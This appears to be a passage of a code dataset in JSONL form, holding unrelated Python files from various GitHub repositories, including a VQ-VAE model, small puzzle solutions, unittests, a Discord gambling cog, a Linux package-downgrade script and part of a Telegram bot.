layer in self.stack:\n            x = layer(x)\n        x = F.relu(x)\n        return x\n\n\nclass VectorQuantizer2(nn.Module):\n    \"\"\"\n    Discretization bottleneck part of the VQ-VAE.\n    Inputs:\n    - n_e : number of embeddings\n    - e_dim : dimension of embedding\n    - beta : commitment cost used in loss term, beta * ||z_e(x)-sg[e]||^2\n    \"\"\"\n\n    def __init__(self, n_e, e_dim, beta):\n        super().__init__()\n        self.n_e = n_e\n        self.e_dim = e_dim\n        self.beta = beta\n\n        self.embedding = nn.Embedding(self.n_e, self.e_dim)\n        self.embedding.weight.data.uniform_(-1.0 / self.n_e, 1.0 / self.n_e)\n\n    def forward(self, z):\n        \"\"\"\n        Inputs the output of the encoder network z and maps it to a discrete\n        one-hot vector that is the index of the closest embedding vector e_j\n        z (continuous) -> z_q (discrete)\n        z.shape = (batch, channel, height, width)\n        quantization pipeline:\n            1. get encoder input (B,C,H,W)\n            2. flatten input to (B*H*W,C)\n        \"\"\"\n        # reshape z -> (batch, height, width, channel) and flatten\n        z = z.permute(0, 2, 3, 1).contiguous()\n        z_flattened = z.view(-1, self.e_dim)\n        # distances from z to embeddings e_j (z - e)^2 = z^2 + e^2 - 2 e * z\n\n        d = (\n            torch.sum(z_flattened ** 2, dim=1, keepdim=True)\n            + torch.sum(self.embedding.weight ** 2, dim=1)\n            - 2 * torch.matmul(z_flattened, self.embedding.weight.t())\n        )\n\n        # find closest encodings\n        device = z.device\n        min_encoding_indices = torch.argmin(d, dim=1).unsqueeze(1)\n        min_encodings = torch.zeros(min_encoding_indices.shape[0], self.n_e, device=device)\n        min_encodings.scatter_(1, min_encoding_indices, 1)\n\n        # get quantized latent vectors\n        z_q = torch.matmul(min_encodings, self.embedding.weight).view(z.shape)\n\n        # compute loss for embedding\n        loss = torch.mean((z_q.detach() - z) ** 2) + self.beta * torch.mean((z_q - z.detach()) ** 2)\n\n        # preserve gradients\n        z_q = z + (z_q - z).detach()\n\n        # perplexity\n        # e_mean = torch.mean(min_encodings, dim=0)\n        # perplexity = torch.exp(-torch.sum(e_mean * torch.log(e_mean + 1e-10)))\n\n        # reshape back to match original input shape\n        z_q = z_q.permute(0, 3, 1, 2).contiguous()\n\n        return z_q, loss\n\n\nclass Encoder(nn.Module):\n    \"\"\"\n    This is the q_theta (z|x) network. Given a data sample x q_theta\n    maps to the latent space x -> z.\n    For a VQ VAE, q_theta outputs parameters of a categorical distribution.\n    Inputs:\n    - in_dim : the input dimension\n    - h_dim : the hidden layer dimension\n    - res_h_dim : the hidden dimension of the residual block\n    - n_res_layers : number of layers to stack\n    \"\"\"\n\n    def __init__(self, in_dim, h_dim, n_res_layers, res_h_dim, embedding_dim):\n        super(Encoder, self).__init__()\n        kernel = 4\n        stride = 2\n        self.conv_stack = nn.Sequential(\n            nn.Conv2d(1, h_dim // 2, kernel_size=kernel, stride=stride, padding=1),\n            nn.ReLU(),\n            nn.Conv2d(h_dim // 2, h_dim, kernel_size=kernel, stride=stride, padding=1),\n            nn.ReLU(),\n            nn.Conv2d(h_dim, h_dim, kernel_size=kernel - 1, stride=stride - 1, padding=1),\n            ResidualStack(h_dim, h_dim, res_h_dim, n_res_layers),\n        )\n        self.pre_quantization_conv = nn.Conv2d(h_dim, embedding_dim, kernel_size=1, stride=1)\n\n    def forward(self, x):\n        x = self.conv_stack(x)\n        x = self.pre_quantization_conv(x)\n        return x\n\n\nclass Decoder(nn.Module):\n    \"\"\"\n    This is the p_phi (x|z) network. Given a latent sample z p_phi\n    maps back to the original space z -> x.\n    Inputs:\n    - in_dim : the input dimension\n    - h_dim : the hidden layer dimension\n    - res_h_dim : the hidden dimension of the residual block\n    - n_res_layers : number of layers to stack\n    \"\"\"\n\n    def __init__(self, in_dim, h_dim, n_res_layers, res_h_dim):\n        super(Decoder, self).__init__()\n        kernel = 4\n        stride = 2\n\n        self.inverse_conv_stack = nn.Sequential(\n            nn.ConvTranspose2d(in_dim, h_dim, kernel_size=kernel - 1, stride=stride - 1, padding=1),\n            ResidualStack(h_dim, h_dim, res_h_dim, n_res_layers),\n            nn.ConvTranspose2d(h_dim, h_dim // 2, kernel_size=kernel, stride=stride, padding=1),\n            nn.ReLU(),\n            nn.ConvTranspose2d(h_dim // 2, 1, kernel_size=kernel, stride=stride, padding=1),\n        )\n\n    def forward(self, x):\n        return self.inverse_conv_stack(x)\n","repo_name":"lobantseff/vae-cancer-nodules","sub_path":"src/models/vqvae.py","file_name":"vqvae.py","file_ext":"py","file_size_in_byte":13358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"26161544246","text":"import numpy as np\r\nimport pandas as pd\r\nfrom decimal import *\r\n# Project Euler Problem 30\r\n#\r\n# Surprisingly there are only three numbers that can be written as the sum of fourth powers of their digits:\r\n#\r\n# 1634 = 14 + 64 + 34 + 44\r\n# 8208 = 84 + 24 + 04 + 84\r\n# 9474 = 94 + 44 + 74 + 44\r\n# As 1 = 14 is not a sum it is not included.\r\n#\r\n# The sum of these numbers is 1634 + 8208 + 9474 = 19316.\r\n#\r\n# Find the sum of all the numbers that can be written as the sum of fifth powers of their digits.\r\n\r\n\r\nxx = [str(x) for x in range(1,1000000)]\r\ndef check(p):\r\n    b = []\r\n    for x in p:\r\n        b.append(int(x)**5)\r\n    if sum(b) == int(p):\r\n        return int(p)\r\n    else:\r\n        return 0\r\nd = []\r\nfor x in xx:\r\n    d.append(check(x))\r\nprint(sum(d)-1)\r\n\r\n\r\n\r\n","repo_name":"jragbeer/Project-Euler","sub_path":"ProjectEuler30.py","file_name":"ProjectEuler30.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29176189681","text":"#!/usr/bin/python3\n\"\"\"Defines unittests for base_model.py\"\"\"\n\nimport models\nimport unittest\nimport os\nfrom datetime import datetime\nfrom models.base_model import BaseModel\n\n\nclass TestBaseModel(unittest.TestCase):\n    \"\"\"Test cases for the BaseModel class\"\"\"\n\n    def test_create_base_model_with_no_arguments(self):\n        \"\"\"Test creating a BaseModel instance with no arguments.\"\"\"\n        model = BaseModel()\n        self.assertTrue(hasattr(model, 'id'))\n        self.assertTrue(hasattr(model, 'created_at'))\n        self.assertTrue(hasattr(model, 'updated_at'))\n\n    def test_create_base_model_with_attributes(self):\n        \"\"\"Test creating a BaseModel instance with attributes.\"\"\"\n        data = {\n            'name': 'Test Model',\n            'value': 42\n        }\n        model = BaseModel(**data)\n        self.assertEqual(model.name, 'Test Model')\n        self.assertEqual(model.value, 42)\n\n    def test_create_base_model_with_invalid_attributes(self):\n        \"\"\"Test creating a BaseModel instance with invalid attributes.\"\"\"\n        data = {\n            'created_at': '2022-01-01T00:00:00.000',\n            'updated_at': '2022-01-02T00:00:00.000'\n        }\n        model = BaseModel(**data)\n        # created_at and updated_at should not be directly set using kwargs\n        self.assertNotEqual(model.created_at, '2022-01-01T00:00:00.000')\n        self.assertNotEqual(model.updated_at, '2022-01-02T00:00:00.000')\n\n    def test_save_method_updates_updated_at(self):\n        \"\"\"Test that the save method updates the 'updated_at' attribute.\"\"\"\n        model = BaseModel()\n        original_updated_at = model.updated_at\n        model.save()\n        self.assertNotEqual(original_updated_at, model.updated_at)\n\n    def test_to_dict_method(self):\n        \"\"\"Test the to_dict method for creating a dictionary representation.\"\"\"\n        model = BaseModel()\n        model_dict = model.to_dict()\n        self.assertEqual(model_dict['__class__'], 'BaseModel')\n        self.assertTrue('created_at' in model_dict)\n        self.assertTrue('updated_at' in model_dict)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"leakagegh/AirBnB_clone","sub_path":"tests/test_models/test_base_model.py","file_name":"test_base_model.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"23570490611","text":"import turtle\n\nwn = turtle.Screen()\nwn.title(\"Example 18.1 Drawing Fractals!\")\nwn.bgcolor(\"white\")\nfract_turtle = turtle.Turtle()\nfract_turtle.pencolor(\"#0000FF\")\nfract_turtle.hideturtle()\nfract_turtle.pensize(2)\n\n\ndef koch(t, order, size):\n    \"\"\"\n    Make turtle t draw a Koch fractal of ’order’ and ’size’.\n    Leave the turtle facing the same direction.\n    \"\"\"\n    if order == 0:  # The base case is just a straight line\n        t.forward(size)\n    else:\n        for angle in [-60, 120, -60, 0]:\n            koch(t, order - 1, size / 3)\n            t.left(angle)\n\n\ndef draw_poly(turtle, sides, line_length):\n    for i in range(sides):\n        # turtle.forward(line_length)\n        koch(turtle, 3, line_length)\n        turtle.left(360 / sides)\n\n\ndraw_poly(fract_turtle, 4, 100)\n\n# koch(fract_turtle, 2, 100)\n\nwn.mainloop()\n","repo_name":"ptsiampas/Exercises_Learning_Python3","sub_path":"18_Recursion/Exercise_18.7.1.py","file_name":"Exercise_18.7.1.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"43717439125","text":"import xadmin\nfrom .models import OrderInfo\n\n\n\nclass OrderAdmin(object):\n    list_display = ['order_id', 'create_time', 'total_amount', 'pay_method', 'status']\n    refresh_times = [3, 5]  # 可选以支持按多长时间(秒)刷新页面\n    data_charts = {\n        \"order_amount\": {'title': '订单金额', \"x-field\": \"create_time\", \"y-field\": ('total_amount',),\n                       \"order\": ('create_time',)},\n        \"order_count\": {'title': '订单量', \"x-field\": \"create_time\", \"y-field\": ('total_count',),\n                       \"order\": ('create_time',)},\n    }\nxadmin.site.register(OrderInfo,OrderAdmin)","repo_name":"okada8/python","sub_path":"MeiDuo/meiduo_mall/meiduo_mall/apps/orders/adminx.py","file_name":"adminx.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"20440562458","text":"import random\nimport time\n\nmod = 1000000007\n\ndef main():\n    print(suminvmod(input()))\n\ndef test(n):\n    return ''.join(random.choice(['0', '1', '?']) for _ in range(n))\n\ndef suminvmod(string: str):\n    ones = 0\n    questions = 0\n    inversions = 0\n\n    for digit in string:\n\n        if digit == '1':\n            ones += 1\n        else:\n            if digit == '?':\n                inversions *= 2\n\n            inversions += ones * pow(2, questions, mod)\n            if questions > 0:\n                inversions += questions * pow(2, questions - 1, mod)\n\n            if digit == '?':\n                questions += 1\n        \n            inversions %= mod\n\n    return inversions\n\nif __name__ == '__main__':\n    main()\n","repo_name":"DubiousDoggo/programming-challenges","sub_path":"kattis/sequences.py","file_name":"sequences.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"4631973228","text":"import busio\nimport board\nimport time\nfrom adafruit_bus_device.i2c_device import I2CDevice\n\ni2c = busio.I2C(board.SCL, board.SDA)\ndev = I2CDevice(i2c, 0x70)\nt_1 = time.time()\ncount = 0\nfails = 0\nt_0 = time.time()\nwhile True:\n    if time.time() - t_0 > 0.07:\n        result = bytearray(2)\n        dev.readinto(result)\n        dist = int.from_bytes(result, 'big')\n        print(dist)\n        t_0 = time.time()\n        dev.write(bytes([0x51]))\n    \n    if time.time() - t_1 > 0.1:\n        print(time.time() - t_1, dist)\n        t_1 = time.time()\n","repo_name":"aprit0/auto-quadcopter","sub_path":"auto-quadcopter/1_PYTHON_TEST/sensors/gy_us42.py","file_name":"gy_us42.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"73653458603","text":"\nfrom rawserialised import *\nfrom boostmappings import mappings\n\nclass Parser:\n    def __init__(self, funcs):\n        self.funcs = funcs\n        self.parsed = []\n\n    def parse(self):\n        for func in self.funcs:\n            self.parsed.append(Parser._parse(func))\n\n    ##static methods below as they do not require instance state\n    @staticmethod\n    def _parse(serialised):\n        nested_args = []\n        nested_ret = []\n\n        ##parse arg types\n        try:\n            for arg in serialised['type']['arg_types']:\n                chain = Parser._chain_nested(arg)\n                nested_args.append(chain)\n        except:\n            nested_args.append('None')\n\n        ##parse return types\n        try:\n            nested_ret.append(Parser._chain_nested(serialised['type']['ret_type']))\n        except:\n            nested_ret.append('None')\n        return (nested_ret, nested_args)\n\n    @staticmethod\n    def _chain_nested(arg):\n        try:\n            if 'args' in arg:\n                return '%s%s' % (Parser._mapped(arg['type_ref']),[Parser._chain_nested(a) for a in arg['args']])\n            elif 'items' in arg:\n                return '%s%s' % (Parser._mapped(arg['fallback']['type_ref']), [Parser._chain_nested(i) for i in arg['items']])\n            elif 'item' in arg:\n                return Parser._chain_nested(arg['item'])\n            else:\n                return Parser._mapped(arg['type_ref'])\n        except:\n            return 'None'\n\n    @staticmethod\n    def _mapped(builtin):\n        return mappings.get(builtin, builtin)\n\n\nif __name__ == '__main__':\n    parser = Parser([inproduct])\n    parser.parse()\n    print(parser.parsed)","repo_name":"yda288/pyboost","sub_path":"rawserialisedparser.py","file_name":"rawserialisedparser.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"22672331717","text":"import discord\nimport random\nimport asyncio\nfrom discord.ext import commands\nfrom util.core import formatter, data\n\nem = formatter.embed_message\n\n\nclass Gambling(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.cooldown(1, 30, commands.BucketType.user)\n    @commands.command(name=\"flip\", aliases=[\"coin\"])\n    async def coinflip(self, ctx, bet, side=None):\n        \"\"\"Bet on a coinflip.\n        Choose side 'heads' or 'tails'.\n        If chosen right you'll double your bet!\"\"\"\n        try:\n            bet = int(bet)\n        except (ValueError, TypeError):\n            if str(bet).lower() != \"all\":\n                await ctx.send(**em(\"Please give me a valid bet!\\nOr if you want to go all in use \\\"all\\\"!\"))\n                ctx.command.reset_cooldown(ctx)\n                return\n        if str(bet).lower() == \"all\":\n            bet = data.get_global_bal(ctx.author.id)[0][0]\n        if side is None:\n            await ctx.send(**em(type_=\"error\",\n                                content=\"Please provide a side your flip's on!\\n\"\n                                        \"Sides: heads *(H)* tails *(T)*\"))\n            ctx.command.reset_cooldown(ctx)\n            return\n        elif bet < 10:\n            await ctx.send(**em(\"The minimum bet is 10!\"))\n            ctx.command.reset_cooldown(ctx)\n            return\n        elif bet > data.get_global_bal(ctx.author.id)[0][0]:\n            await ctx.send(**em(\"You can't bet what you don't have!\\n\"\n                                f\"You have `{round(data.get_global_bal(ctx.author.id)[0][0], 2)}` coins!\"))\n            ctx.command.reset_cooldown(ctx)\n            return\n        _heads, _tails = False, False\n        side = str(side).lower()\n        tails = (\"tails\", \"tail\", \"t\")\n        heads = (\"heads\", \"head\", \"h\")\n        for count in range(len(tails)):\n            if tails[count] == side:\n                _tails = True\n            if heads[count] == side:\n                _heads = True\n        if not _tails and not _heads:\n            await ctx.send(**em(content=\"Seems like the chosen side wasn't valid!\"))\n        else:\n            win_winning_side, los_winning_side = heads[0].capitalize(), tails[0].capitalize()\n            if _tails:\n                win_winning_side, los_winning_side = tails[0].capitalize(), heads[0].capitalize()\n            if _heads is random.choice([True, False]):\n                await ctx.send(**em(f\"You just doubled your bet. *(`{round(bet, 2)}` --> `{round(bet*2, 2)}`)*\\n\"\n                                    f\"Winning side: {win_winning_side}\"))\n                data.add_global_bal(ctx.author.id, bet)\n            else:\n                await ctx.send(**em(f\"You just lost your bet! *(`{round(bet, 2)}`)*\\n\"\n                                    f\"Winning side: {los_winning_side}\"))\n                data.remove_global_bal(ctx.author.id, bet)\n\n    @commands.cooldown(1, 300, commands.BucketType.user)\n    @commands.command(name=\"slots\")\n    async def slots(self, ctx, bet):\n        \"\"\"Gamble with slots!\n        Slots are very profitable, but watch out!\n        You can lose more than what you bet\"\"\"\n        try:\n            bet = int(bet)\n        except (ValueError, TypeError):\n            if str(bet).lower() != \"all\":\n                await ctx.send(**em(\"Please give me a valid bet!\\nOr if you want to go all in use \\\"all\\\"!\"))\n                ctx.command.reset_cooldown(ctx)\n                return\n        if str(bet).lower() == \"all\":\n            bet = data.get_global_bal(ctx.author.id)[0][0]\n        if bet < 100:\n            await ctx.send(**em(\"The minimum bet is 100!\"))\n            ctx.command.reset_cooldown(ctx)\n            return\n        elif bet > data.get_global_bal(ctx.author.id)[0][0]:\n            await ctx.send(**em(\"You can't bet what you don't have!\\n\"\n                                f\"You have `{round(data.get_global_bal(ctx.author.id)[0][0], 2)}` coins!\"))\n            ctx.command.reset_cooldown(ctx)\n            return\n        spinning = await ctx.send(**em(\"Spinning weel!\"))\n        slot_icons = (\"<:Majam:659018214633635843>\", \"<:DevBot:659019961334890537>\",\n                      \"<:CheekiBreeki:659018436524900383>\", \"💩\", \"🤡\", \"🤑\", \"💸\", \"💰\", \"💳\", \"💵\", \"💲\")\n\n        choices, first, last, win, selected = (), (), (), 0, \" \"\n        for _ in range(5):\n            choices += (random.choice(slot_icons),)\n            first += (random.choice(slot_icons),)\n            last += (random.choice(slot_icons),)\n        for choice in choices:\n            if choice == \"<:Majam:659018214633635843>\" or choice == \"<:DevBot:659019961334890537>\": win += 1.75\n            elif choice == \"<:CheekiBreeki:659018436524900383>\": win += 1.25\n            elif choice == \"💩\" or choice == \"🤡\": win -= 2.5\n            elif choice == \"🤑\" or choice == \"💳\": win += 0.2\n            elif choice == \"💸\" or choice == \"💰\": win += 0.5\n            elif choice == \"💵\" or choice == \"💲\": win += 1\n        await asyncio.sleep(2)\n        func = spinning.edit\n        try:\n            await spinning.edit(**em(\"Spinning weel!\"))\n        except discord.errors.NotFound:\n            func = ctx.send\n        if win >= 0:\n            data.add_global_bal(ctx.author.id, round(bet*win, 2))\n            await func(**em(title=\"Slots:\",\n                            content=f\"{selected.join(first)}\\n{selected.join(choices)}<--\\n\"\n                            f\"{selected.join(last)}\\nYour bet got multiplied by `{round(win, 2)}`. \"\n                            f\"*(`{round(bet*win, 2)}`)*\"))\n        else:\n            if bet*win - data.get_global_bal(ctx.author.id)[0][0] > 0:\n                data.add_global_bal(ctx.author.id, round(bet*win, 2))\n                await func(**em(title=\"Slots:\",\n                                content=f\"{selected.join(first)}\\n{selected.join(choices)}<--\\n\"\n                                        f\"{selected.join(last)}\\nYou lost your bet by `{round(win, 2)}`.\"\n                                        f\" *(`{round(bet*win, 2)}`)*\"))\n            else:\n                data.add_global_bal(ctx.author.id, -data.get_global_bal(ctx.author.id)[0][0])\n                await func(**em(title=\"Slots:\",\n                                content=f\"{selected.join(first)}\\n{selected.join(choices)}<--\\n\"\n                                        f\"{selected.join(last)}\\nYou lost your bet by `{round(win, 2)}`. \"\n                                        f\"*(`{round(bet*win, 2)}`)*\\nBecause you dont have so much coins your \"\n                                        f\"balance got set to `0`!\"))\n\n\ndef setup(bot):\n    bot.add_cog(Gambling(bot))\n","repo_name":"Arthurdw/Majam","sub_path":"extensions/Gambling.py","file_name":"Gambling.py","file_ext":"py","file_size_in_byte":6615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"2091607163","text":"import argparse as ap\n\nimport scipy as sp\nimport scipy.misc\n\nimport matplotlib\n\nmatplotlib.use('Cairo')\n\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.axes_grid.anchored_artists import AnchoredText\n\n\n_LABELS = \"abcde\"\n\n\ndef parse():\n    parser = ap.ArgumentParser()\n    parser.add_argument(\n        \"infiles\", nargs=\"+\")\n    parser.add_argument(\n        \"-s\", \"--size\", default=[5.8, 2.8],\n        type=lambda x: [float(y) for y in x.split(\",\")],\n        help=\"Size of the image (inches)\")\n    parser.add_argument(\n        \"--colormap\", default=\"gray\",\n        help=\"Name of the colormap (in matplotlib.cm namespace)\")\n    parser.add_argument(\n        \"-d\", \"--dpi\", default=200.0, type=float,\n        help=\"Resolution of the image\")\n    parser.add_argument(\n        \"-o\", \"--output\", default=None,\n        help=\"Where to save the result\")\n    ret = parser.parse_args()\n    return ret\n\n\ndef _imshow(pl, what, label, cmap):\n    pl.grid()\n    pl.imshow(what, cmap=cmap)\n    pl.tick_params(axis='both', which='major', labelsize=10)\n    at = AnchoredText(\n        label, loc=2)\n    at.patch.set_boxstyle(\"round,pad=0.,rounding_size=0.2\")\n    pl.add_artist(at)\n\n\ndef mkFig(fig, infiles, cmap):\n    imgs = [sp.misc.imread(fname, True) for fname in infiles]\n    ncols = len(imgs)\n    pl0 = fig.add_subplot(1, ncols, 1)\n    _imshow(pl0, imgs[0], _LABELS[0], cmap)\n    for ii, img in enumerate(imgs[1:]):\n        ii += 2\n        pl = fig.add_subplot(1, ncols, ii, sharey=pl0)\n        plt.setp(pl.get_yticklabels(), visible=False)\n        _imshow(pl, img, _LABELS[ii - 1], cmap)\n\n\ndef main():\n    args = parse()\n    cmap = getattr(matplotlib.cm, args.colormap)\n    fig = plt.Figure(dpi=args.dpi, figsize=args.size)\n    mkFig(fig, args.infiles, cmap)\n    fig.tight_layout()\n    fig.savefig(args.output)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"matejak/imreg_dft","sub_path":"doc/stack_imgs.py","file_name":"stack_imgs.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":215,"dataset":"github-code","pt":"19"}
{"seq_id":"37240731505","text":"from typing import *\r\n\r\nclass Solution:\r\n    def maxOperations(self, nums: List[int], k: int) -> int:\r\n        m = {}\r\n        for n in nums:\r\n            if n not in m:\r\n                m[n] = 0\r\n            m[n] += 1\r\n\r\n        ret = 0\r\n        for n in nums:\r\n            if n in m and k - n in m and m[n] > 0 and m[k - n] > 0:\r\n                m[n] -= 1\r\n                m[k - n] -= 1\r\n                if m[n] >= 0:\r\n                    ret += 1\r\n\r\n        return ret\r\n\r\nsolu = Solution()\r\nprint(solu.maxOperations([1,2,3,4], 5))\r\nprint(solu.maxOperations([3,1,3,4,3], 6))","repo_name":"xiashuang2020/leetcode-solutions","sub_path":"1679.py","file_name":"1679.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"43709412158","text":"# -*- coding:utf-8 -*-\n# Author : Hu Chen\n# MailTo : hchen052@gmail.com\n# QQ     :\n# Blog   :\n# Github : https://github.com/hchen052/JX3KeJuAnswerSearcher\n# Create : 2015-08-13\n# Version: 1.0\n#\n# Part of project jx3kejusearch\n# Provide search API\n#\n# 剑网3科举考试答案查询器\n# 目前题目数量为1588条\n\nimport re\nimport sys\nimport os\nfrom pypinyin import lazy_pinyin\nimport codecs\nimport HuPySQLite\n\n\n# 数据库的绝对路径\nDB_FILE_PATH = ''\n# 数据库名称\nDB_FILE_NAME = 'JX3KeJuTiKu.db'\n# 表名称\nDB_TABLE_NAME = 'jx3keju'\n# 科举答案导入文件(txt格式)\n# q: _________，众妙之门。  a: 玄之又玄\nKEJU_TXT = 'JX3KeJuDaAn_All.txt'\n\n# 重新编码字符.\n#\n# 将字符串strw从utf-8编码转换成ENCODE_TYPE编码.\ndef recode(strw):\n    import platform\n    sysstr = platform.system()\n    if sysstr.lower() == 'windows':\n        ENCODE_TYPE = sys.getfilesystemencoding()\n        return strw.decode('utf-8').encode(ENCODE_TYPE)\n    else:\n        return strw\n\n\ndef SearchQuestionByPinyin(pinyin):\n    \"\"\"\n    方法：  通过拼音的方式来搜索题目，并打印答案。\n    参数：  pinyin  :  题目的首字母\n    返回：  data  ：  所有符合规则的题目及答案    \n    \"\"\"\n    global DB_FILE_PATH\n    global DB_FILE_NAME\n    global DB_TABLE_NAME\n    if DB_FILE_PATH == '':\n        DB_FILE_PATH = os.getcwd()\n    db_file = os.path.join(DB_FILE_PATH, DB_FILE_NAME)\n    cx = HuPySQLite.get_conn(db_file)\n    cu = cx.cursor()\n    sql = '''select question, answer from %s where que_pinyin glob \"*%s*\"'''%(DB_TABLE_NAME, pinyin)\n    cu.execute(sql)\n    data = cu.fetchall()\n    cu.close()\n    cx.close()\n    return data\n    \n    \ndef SearchMain(pinyin):\n    rtstr = ''\n    pinyin = str(pinyin)\n    data = SearchQuestionByPinyin(pinyin.lower())\n    if len(data) == 0:\n        rtstr += u'%>_<%没找到你的题目，请重试！\\n'\n    else:\n        i = 0\n        for value in data:\n            q = value[0]\n            a = value[1]\n            i += 1\n            rtstr += u'%2d. %s\\n' %(i, q)\n            rtstr += u'    答案：%s\\n' %a\n    return rtstr    \n    \n    \nif __name__ == '__main__':\n    SearchMain()\n","repo_name":"hchen052/JX3KeJuAnswerSearcher","sub_path":"PyJX3KeJu.py","file_name":"PyJX3KeJu.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"43459556888","text":"import os\nimport re\n\nLOG = \"/home/vicente/pacman.log\"\nCACHE_DIR = \"/var/cache/pacman/pkg\"\n\ndef check_cache(pkg, version):\n    pkg_name = f\"{pkg}-{version}\"\n    for file in os.listdir(CACHE_DIR):\n        if file[-4:] == \".sig\":\n            continue\n        if file[0:len(pkg_name)] == pkg_name:\n            return file\n    return None\n\n\ndef main():\n    with open(LOG) as f:\n        lines = f.readlines()\n\n    n = 0\n    errors = []\n    version_pattern = re.compile(\"\\[ALPM\\] upgraded ([0-9a-z-\\+]+) \\(([0-9a-z-\\.:\\+]+) -> ([0-9a-z-\\.]+)\")\n    upgrade_pattern = re.compile(\"\\[ALPM\\] upgraded\")\n    for line in lines:\n        match = upgrade_pattern.search(line)\n        if match:\n            match = version_pattern.search(line)\n            if match:\n                pkg, old_ver, ver = match.groups()\n                pkg_file = check_cache(pkg, old_ver)\n                if pkg_file:\n                    n += 1\n                    cmd = f\"pacman -U --noconfirm {CACHE_DIR}/{pkg_file}\"\n                    print(cmd)\n                    os.system(cmd)\n                else:\n                    error = f\"Unable to downgrade pkg {pkg} to version {old_ver}\"\n                    print(error)\n                    errors.append(error)\n            else:\n                error = \"Unable to parse \\\"{}\\\"\".format(line[:-1])\n                print(error)\n                errors.append(error)\n\n    print(f\"\\nFinished: {n} packages downgraded\")\n    if errors:\n        print(f\"{len(errors)} packages couldn't be downgraded:\")\n    for error in errors:\n        print(error)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"vbartu/config","sub_path":"scripts/undo_update.py","file_name":"undo_update.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"17546528731","text":"#sourceFilesNames = ['sfile1','sfile2','sfile3']\n#destinationFilesNames = ['dfile1','dfile2','dfile3']\n#for x in range(len(sourceFilesNames)):\n#    print(sourceFilesNames[x] + \" - \" + destinationFilesNames[x])\n\nsource = [2, 3, 4]\ndest = [2, 3, 4]\ndest2 = [3, 4, 6]\nfor s_offset in range(len(source)):\n    for d_offset in range(len(dest)):\n        for dest2_a in range(len(dest2)):\n            print(source[s_offset] + dest[d_offset]+ dest2[dest2_a])\n'''\nprint(source[0] + dest[0])\nprint(source[0] + dest[1])\nprint(source[0] + dest[2])\n\nprint(source[1] + dest[0])\nprint(source[1] + dest[1])\nprint(source[1] + dest[2])\n\nprint(source[2] + dest[0])\nprint(source[2] + dest[1])\nprint(source[2] + dest[2])\n\n\n'''\n'''\nfor i in range(10):\n    if i==0:\n        print('*', end='')\n    else:\n        for j in range(i*2):\n            print('*', end='')\n    print('\\n', end='')\n'''\n'''\nfor i in range(10):\n    if (i+1) % 2 != 0: # allow only even number\n        for j in range(10):\n            print('{:2} x {:2} : {:3}'.format(i+1, j+1, ((i+1)*(j+1))))\n        userInput = input('next')\n        if userInput!='n':\n            break\n'''\n# for s_offset in range(len(source)):\n#     # for d_offset in range(len(dest)):\n#         print(source[s_offset])\n\n","repo_name":"DebabrataH/Central-GIt","sub_path":"loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"71255047085","text":"import logging\nimport aiogram\nfrom aiogram.dispatcher.filters import Text\nfrom aiogram.utils import exceptions\nfrom database import db\nfrom aiogram import types\nfrom utils import FindFile\nfrom create_bot import bot\nimport math\n\n\ndef mess_about_file(fileData):\n    filename = fileData['filename']\n    course = fileData['course']\n    subject = fileData['subject']\n    msg = f\"\"\"Имя файла: *{filename}*\nКурс: *{course}*\nПредмет: *{subject}*\"\"\"\n    return msg\n\n\nasync def ask_subject(callback: aiogram.types.CallbackQuery,\n                      state: aiogram.dispatcher.FSMContext):\n    \"\"\"\n    Спрашиваем предмет, по которому вывести предметы\n\n    :param callback: объект aiogram.types.CallbackQuery\n    :param state: aiogram.dispatcher.FSMContext\n    :return: None\n    \"\"\"\n    chat_id = callback.message.chat.id\n    message_id = callback.message.message_id\n    state_data = await state.get_data()\n\n    user = db.get_user_by_id(chat_id)\n    if user is None or len(user) == 0:\n        logging.error(f\"Пользователь не найден в функции ask_subject в showFiles, chat_id={chat_id}\")\n        return\n    user = user[0]\n\n    course = user['course']\n    direction = user['direction']\n    subjects = db.get_subjects(course, direction)\n    if subjects is None:\n        logging.error(f\"Предметы не найдены в функции ask_subject в showFiles, chat_id={chat_id}\")\n        return\n\n    max_page = math.ceil(len(subjects) / 8)\n    if \"page_sub\" not in state_data:\n        await state.update_data(page_sub=1)\n        page = 1\n    else:\n        page = int(state_data['page_sub'])\n        if page <= 0:\n            page = 1\n            await state.update_data(page_sub=page)\n            return\n        if page > max_page:\n            page = max_page\n            await state.update_data(page_sub=page)\n            return\n\n    msg = \"Какой предмет?\"\n    buttons = []\n    for sub in subjects[8 * (page-1): 8 * 